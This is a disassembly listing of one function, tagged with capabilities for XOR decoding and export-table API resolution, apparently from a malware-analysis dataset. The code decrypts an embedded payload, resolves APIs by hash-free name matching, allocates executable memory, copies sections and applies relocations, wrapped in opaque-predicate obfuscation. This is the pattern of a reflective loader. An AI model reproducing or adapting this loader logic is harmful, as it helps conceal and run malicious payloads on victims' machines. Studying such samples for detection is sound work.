Function at 0x180001060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001092
test edx, edx
je 0x180001092
nop
jmp 0x180001090
cmp ecx, 0xa
jl 0x18000109b
test edx, edx
jne 0x180001100
mov edi, 4
lea rbp, section..data
lea rbx, [rsp + 0x5c]
nop dword [rax]
sub rdi, 1
jb 0x180001102
mov dl, byte [rbp]
nop dword [rax]
mov byte [rbx], dl
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x1800010de
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x1800010c0
add rbp, 1
add rbx, 1
cmp ecx, 0xa
jl 0x1800010b0
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800010b0
nop word cs:[rax + rax]
jmp 0x180001100
mov edx, dword [0x180020a74]
lea ebp, [rdx - 1]
imul ebp, edx
test bpl, 1
sete bl
cmp dword [0x180020a78], 0xa
setl r8b
or r8b, bl
cmp r8b, 1
jne 0x180001170
mov r15d, dword [rsp + 0x5c]
xor ebx, ebx
lea r13, section..data
nop word [rax + rax]
cmp r15, rbx
je 0x180001172
mov ebp, ebx
and ebp, 0x3ff
movzx edx, byte [rbp + r13 + 4]
xor dl, byte [rbx + r13 + 0x404]
xor dl, 0xc
mov byte [rbx + r13 + 0x404], dl
add rbx, 1
test r8b, r8b
jne 0x180001140
nop
jmp 0x180001170
lea r8, [r15 + r13]
add r8, 0x404
cmp ecx, 0xa
jl 0x180001191
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800012c0
cmp ecx, 0xa
jl 0x1800011a5
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800012d0
mov edx, 4
lea rbp, [rsp + 0x4c]
mov rsi, r8
nop word cs:[rax + rax]
nop dword [rax]
sub rdx, 1
jb 0x18000120c
mov bl, byte [rsi]
nop dword [rax + rax]
mov byte [rbp], bl
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x1800011ef
lea edi, [rax - 1]
imul edi, eax
and edi, 1
jne 0x1800011d0
add rsi, 1
add rbp, 1
cmp ecx, 0xa
jl 0x1800011c0
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x1800011c0
jmp 0x1800012d0
cmp dword [0x180020a78], 0xa
jl 0x1800012e2
mov edx, dword [0x180020a74]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
je 0x1800012e2
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001244
test edx, edx
jne 0x1800012e0
cmp ecx, 0xa
jl 0x18000124d
test edx, edx
jne 0x1800012b0
mov edx, 4
lea rbp, [rsp + 0x4c]
mov rsi, r8
sub rdx, 1
jb 0x18000117d
mov bl, byte [rsi]
nop word cs:[rax + rax]
mov byte [rbp], bl
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x18000128f
lea edi, [rax - 1]
imul edi, eax
and edi, 1
jne 0x180001270
add rsi, 1
add rbp, 1
cmp ecx, 0xa
jl 0x18000125a
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x18000125a
nop word [rax + rax]
jmp 0x1800012b0
jmp 0x1800012c0
jmp 0x1800012d0
jmp 0x1800012e0
add r8, 4
mov esi, dword [rsp + 0x4c]
test rsi, rsi
mov qword [rsp + 0x38], r8
je 0x18000144e
xor eax, eax
cmp esi, 0x20
jb 0x180001429
lea rdx, [rsi - 1]
cmp rdx, 0x400
jae 0x180001429
lea rcx, [r15 + r13]
add rcx, 0x408
lea rdx, [rsi + r13]
add rdx, 4
cmp rcx, rdx
jae 0x18000134d
lea rcx, [rsi + r15]
add rcx, r13
add rcx, 0x408
lea rdx, str.CyDWmROeRkezXDEUmYpGXVaLGHATAojYPfskQFKpKYwSnYZFGOYihHFHCRcabZxAMDvRxwJtdaRiGDWFzDvqJuXnaVnAttXhVMRJcPSwiKImEbkfazCZSaDtMOFbKiHWhuoPMtOxMVceuEbzqCtOHbaEeOmpwMaLxpgLxDVlDxFlepcgkkeLViGtmhwHnLOQQitfTyDRYeMMysmFsvzCHtLAbHFyDWjjIIhJtvalJAvqFiyXcDcBlraEMAomgSpmDVlmMrrIfvmMTSCtabrAluybnRHzqKfJaYakwZCoAVYSrlGcbCEuZEGGTmdUywxBATCzhoDyOdAbtpptUVJkGKQWxMzEbHfhIECiWoJZmvWRFSxIvQHzDImVuVbwOkLKacTRcsDVRXUnXLZAvvhXXJdMDhwOlDRnfhXKzaoHVDKCdFgqMQXOIFnCtthAjcSFEKvCgWPyUltstSxSmdZpwAOLLXgkmzfxcbBlYDYVljYCDWaLoltwjHUZfKfwJgppFrkGUDcTrnmzHGKQnkQgGBpWvvtVhlBwvrwRxLiekmeGpURUcyhWMRDTHPUSxtpbhjYSCfqDnOBcASDyeUtxQWlDPAnfmqzeXYCVPVylcCmrDRzBqoHwQuceqlleWZTucMJlefuMBiAKzwCMHvogcDRnMxhoGCdFEBZFeQQkoHpxduhIeChVBulPGPdLpTjksphZmvoVPBKuSIzketQkeEMkaJFgfZGYeWEqKvPEgpxaHWLCiAzcoCQsVhgIbjMaZpRixeLMTSWPdAuMpDbbZvMxxyAHLvoornAhkuqLdcEQwcViBeWpOWoylETyosqeWcYzYyMKULIMuLDyVCOhAHYopnVeSVUBdvFaYlBKTIUTqeELZwSstMPArMAAaEsbdBDbmHfCkgKzsPCoRhdtmJIkYOiVaKcTnaBzCeQtalJAWJYoCcYIODRGRybVVOfgyYtZzYRJwgEvKViLKWLQvJXzgxTqbWELEwgbtYopkwKOGkvaYCJXSgeMZqgyWea
cmp rcx, rdx
jbe 0x18000134d
xor eax, eax
jmp 0x180001429
mov eax, esi
and eax, 0xffffffe0
lea rbp, [rax - 0x20]
mov rdx, rbp
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbp, rbp
je 0x1800013e7
lea rbx, [r15 + r13]
add rbx, 0x438
mov rbp, r8
sub rbp, rdx
xor edi, edi
mov edx, edi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r13 + 4]
movups xmm1, xmmword [rdx + r13 + 0x14]
movups xmm2, xmmword [rbx + rdi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + rdi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rbx + rdi - 0x10]
movups xmm3, xmmword [rbx + rdi]
movups xmmword [rbx + rdi - 0x30], xmm2
movups xmmword [rbx + rdi - 0x20], xmm0
lea edx, [rdi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r13 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r13 + 0x14]
xorps xmm1, xmm3
movups xmmword [rbx + rdi - 0x10], xmm0
movups xmmword [rbx + rdi], xmm1
add rdi, 0x40
add rbp, 2
jne 0x180001380
jmp 0x1800013e9
xor edi, edi
test r8, r8
je 0x18000141f
mov edx, edi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r13 + 4]
movups xmm1, xmmword [rdx + r13 + 0x14]
mov rcx, qword [rsp + 0x38]
movups xmm2, xmmword [rcx + rdi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rdi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rdi], xmm2
movups xmmword [rcx + rdi + 0x10], xmm0
cmp rax, rsi
mov r8, qword [rsp + 0x38]
je 0x18000144e
lea rdx, [r15 + r13]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r13 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, rsi
jb 0x180001434
cmp dword [0x180020a7c], 0xa
jl 0x180001472
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001472
nop dword [rax + rax]
jmp 0x180001470
add r15, 0x408
movsxd rax, dword [0x180004440]
mov rbp, r8
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001483
lea rsi, [rax + r13]
add rsi, 0x404
mov rdi, rbp
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x18000149b
mov r12, rdi
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800014a7
mov qword [rsp + 0x50], r12
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800014b8
mov rbx, r12
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800014c7
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800014d3
mov rcx, rbp
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001506
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fcf
mov qword [rsp + 0x30], rbp
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000153a
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fd1
mov qword [rsp + 0x40], rsi
add r8, r9
mov ebp, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add rbp, r9
mov esi, dword [rbp]
add rsi, r9
mov rdx, rdi
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x180001571
add rdx, 1
add rsi, 1
cmp cl, al
je 0x18000155b
cmp cl, al
je 0x18000157f
add rbp, 4
add r10, 2
jmp 0x180001552
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800015b1
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fd3
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800015e0
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fd5
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rcx, r10
add rdx, r10
mov esi, dword [rdx]
add rsi, r10
mov rbp, r12
movzx eax, byte [rbp]
movzx ebx, byte [rsi]
test al, al
je 0x180001612
add rbp, 1
add rsi, 1
cmp al, bl
je 0x1800015fb
cmp al, bl
je 0x180001620
add rdx, 4
add rcx, 2
jmp 0x1800015f3
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
mov rcx, qword [rsp + 0x30]
call fcn.1800028c0
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001678
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fd7
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800016a7
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fd9
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rcx, r10
add rdx, r10
mov ebp, dword [rdx]
add rbp, r10
xor esi, esi
lea rax, [r15 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rbp + rsi]
test al, al
je 0x1800016dc
add rsi, 1
cmp al, bl
je 0x1800016c1
cmp al, bl
je 0x1800016ea
add rdx, 4
add rcx, 2
jmp 0x1800016ba
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
mov r12, rax
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edx, 0xa
jl 0x180001fe9
test eax, eax
je 0x180001fe9
cmp dword [0x180020a7c], 0xa
mov r14, qword [rsp + 0x38]
jl 0x180001759
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fb3
movsxd rsi, dword [0x180004440]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001760
mov rbx, r14
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x18000176d
mov r12, rbx
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001779
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001785
mov rbp, r12
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001794
mov rdi, rbp
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800017a1
mov rcx, r14
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017d3
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fb5
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001802
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fb7
mov qword [rsp + 0x30], rsi
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add r11, r9
mov esi, dword [r11]
add rsi, r9
mov rdx, rbx
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x180001846
add rdx, 1
add rsi, 1
cmp cl, al
je 0x180001830
cmp cl, al
je 0x180001854
add r11, 4
add r10, 2
jmp 0x18000181a
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbp
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001886
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fb9
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800018b5
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fbb
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ebp, dword [r10 + rcx + 0x24]
add rbp, r10
add rdx, r10
mov esi, dword [rdx]
add rsi, r10
mov rbx, r12
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x1800018e6
add rbx, 1
add rsi, 1
cmp al, cl
je 0x1800018d0
cmp al, cl
je 0x1800018f4
add rdx, 4
add rbp, 2
jmp 0x1800018c8
movzx eax, word [rbp]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, r14
call fcn.1800028c0
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000194b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fbd
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000197a
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fbf
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rcx, r10
add rdx, r10
mov ebp, dword [rdx]
add rbp, r10
xor esi, esi
nop word cs:[rax + rax]
nop
lea rax, [r15 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rbp + rsi]
test al, al
je 0x1800019bb
add rsi, 1
cmp al, bl
je 0x1800019a0
cmp al, bl
je 0x1800019c9
add rdx, 4
add rcx, 2
jmp 0x18000198d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x30]
mov edx, dword [rax + r13 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rsp + 0x38]
mov r12, rdx
jl 0x180001a21
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r12, rdx
and ecx, 1
jne 0x180001fc1
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001a21
mov rbx, r12
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001a30
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a3c
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a46
mov rbp, r14
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001a53
mov rdi, rbp
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a60
mov rcx, r12
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a92
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fc3
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001ac1
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fc5
mov qword [rsp + 0x30], rsi
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add r11, r9
mov esi, dword [r11]
add rsi, r9
mov rdx, rbx
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rdx]
movzx eax, byte [rsi]
test cl, cl
je 0x180001b06
add rdx, 1
add rsi, 1
cmp cl, al
je 0x180001af0
cmp cl, al
je 0x180001b14
add r11, 4
add r10, 2
jmp 0x180001ad9
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbp
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b46
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fc7
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b75
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fc9
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ebp, dword [r10 + rcx + 0x24]
add rbp, r10
add rdx, r10
mov esi, dword [rdx]
add rsi, r10
mov rbx, r14
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x180001ba6
add rbx, 1
add rsi, 1
cmp al, cl
je 0x180001b90
cmp al, cl
je 0x180001bb4
add rdx, 4
add rbp, 2
jmp 0x180001b88
movzx eax, word [rbp]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, r12
call fcn.1800028c0
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c0b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fcb
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c3a
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fcd
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rcx, r10
add rdx, r10
mov ebp, dword [rdx]
add rbp, r10
xor esi, esi
lea rax, [r15 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rbp + rsi]
test al, al
je 0x180001c6f
add rsi, 1
cmp al, bl
je 0x180001c54
cmp al, bl
je 0x180001c7d
add rdx, 4
add rcx, 2
jmp 0x180001c4d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x30]
mov edx, dword [rax + r13 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
cmp dword [0x180020a78], 0xa
jl 0x180001cc3
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001736
movsxd rax, dword [0x180004440]
mov qword [rsp + 0x30], rax
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rsp + 0x38]
mov r12, rdx
jl 0x180001cf8
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r12, rdx
and ecx, 1
jne 0x180001fdb
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001cf8
mov rbx, r12
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001d07
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001d13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001d1d
mov rbp, r14
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001d2a
mov rdi, rbp
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001d37
mov rcx, r12
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d69
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fdd
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001d98
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fdf
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add r11, r9
mov edx, dword [r11]
add rdx, r9
mov rsi, rbx
movzx ecx, byte [rsi]
movzx eax, byte [rdx]
test cl, cl
je 0x180001dca
add rsi, 1
add rdx, 1
cmp cl, al
je 0x180001db4
cmp cl, al
je 0x180001dd8
add r11, 4
add r10, 2
jmp 0x180001dab
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbp
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e0a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fe1
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e39
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001fe3
add r8, r10
mov ebp, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rsi, r10
add rbp, r10
mov eax, dword [rbp]
add rax, r10
mov rbx, r14
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001e6b
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001e55
cmp cl, dl
je 0x180001e79
add rbp, 4
add rsi, 2
jmp 0x180001e4c
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, r12
call fcn.1800028c0
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ecf
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fe5
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001efe
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fe7
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rcx, r10
add rdx, r10
mov ebp, dword [rdx]
add rbp, r10
xor esi, esi
lea rax, [r15 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rbp + rsi]
test al, al
je 0x180001f33
add rsi, 1
cmp al, bl
je 0x180001f18
cmp al, bl
je 0x180001f41
add rdx, 4
add rcx, 2
jmp 0x180001f11
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x30]
mov edx, dword [rax + r13 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
cmp dword [0x180020a78], 0xa
jl 0x180001f87
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001736
cmp dword [0x180020a7c], 0xa
mov r8, qword [rsp + 0x38]
jl 0x180001479
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001479
jmp 0x180001470
jmp 0x180001fb3
jmp 0x180001fb5
jmp 0x180001fb7
jmp 0x180001fb9
jmp 0x180001fbb
jmp 0x180001fbd
jmp 0x180001fbf
jmp 0x180001fc1
jmp 0x180001fc3
jmp 0x180001fc5
jmp 0x180001fc7
jmp 0x180001fc9
jmp 0x180001fcb
jmp 0x180001fcd
jmp 0x180001fcf
jmp 0x180001fd1
jmp 0x180001fd3
jmp 0x180001fd5
jmp 0x180001fd7
jmp 0x180001fd9
jmp 0x180001fdb
jmp 0x180001fdd
jmp 0x180001fdf
jmp 0x180001fe1
jmp 0x180001fe3
jmp 0x180001fe5
jmp 0x180001fe7
cmp edx, 0xa
jl 0x180001ff4
test eax, eax
je 0x180001ff4
jmp 0x180001ff2
mov rax, qword [rsp + 0x40]
lea r8, [rax + 0x108]
xor r9d, r9d
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + 6]
cmp r9, rax
jae 0x180002172
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov esi, dword [0x180020a6c]
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x180002041
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
jne 0x180002170
cmp eax, 0xa
jl 0x180002055
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
jne 0x18000216c
mov ecx, dword [r10 + 8]
add rcx, r13
add rcx, 0x404
mov edx, dword [r10 + 4]
mov ebp, dword [r10]
add rbp, r12
sub rdx, 1
jb 0x1800020ba
movzx eax, byte [rcx]
mov byte [rbp], al
mov esi, dword [0x180020a6c]
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x18000209d
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
je 0x18000209d
movzx eax, byte [rcx]
mov byte [rbp], al
jmp 0x180002073
add rcx, 1
add rbp, 1
cmp eax, 0xa
jl 0x18000206d
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
je 0x18000206d
jmp 0x18000216c
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
cmp edx, 0xa
jl 0x180002152
test ebp, ebp
je 0x180002152
cmp eax, 0xa
jl 0x1800020ec
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
jne 0x18000216e
mov ecx, dword [r10]
add rcx, r12
mov edx, dword [r10 + 4]
mov ebp, dword [r10 + 8]
add rbp, r13
add rbp, 0x404
sub rdx, 1
jb 0x18000202d
movzx eax, byte [rbp]
mov byte [rcx], al
mov esi, dword [0x180020a6c]
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x180002138
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
je 0x180002138
movzx eax, byte [rbp]
mov byte [rcx], al
jmp 0x18000210e
add rbp, 1
add rcx, 1
cmp eax, 0xa
jl 0x180002104
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
je 0x180002104
jmp 0x18000216e
add r9, 1
cmp edx, 0xa
jl 0x180002003
test ebp, ebp
je 0x180002003
jmp 0x180001ff2
jmp 0x18000216c
jmp 0x18000216e
jmp 0x180002170
mov rax, qword [rsp + 0x40]
mov r14d, dword [rax + 0xb0]
add r14, r12
mov rax, qword [rax + 0x30]
mov r11, r12
sub r11, rax
movabs r8, 0x1fffffff8
jmp 0x18000219e
mov eax, dword [r14 + 4]
add r14, rax
lea ebp, [rcx - 1]
imul ebp, ecx
test bpl, 1
sete bl
cmp edx, 0xa
setl al
or al, bl
je 0x1800021f0
test al, al
je 0x1800021f0
cmp dword [r14], 0
je 0x18000239b
mov eax, dword [r14 + 4]
cmp rax, 8
jb 0x180002379
add rax, r8
shr rax, 1
test eax, eax
je 0x180002379
mov r9d, eax
mov al, 1
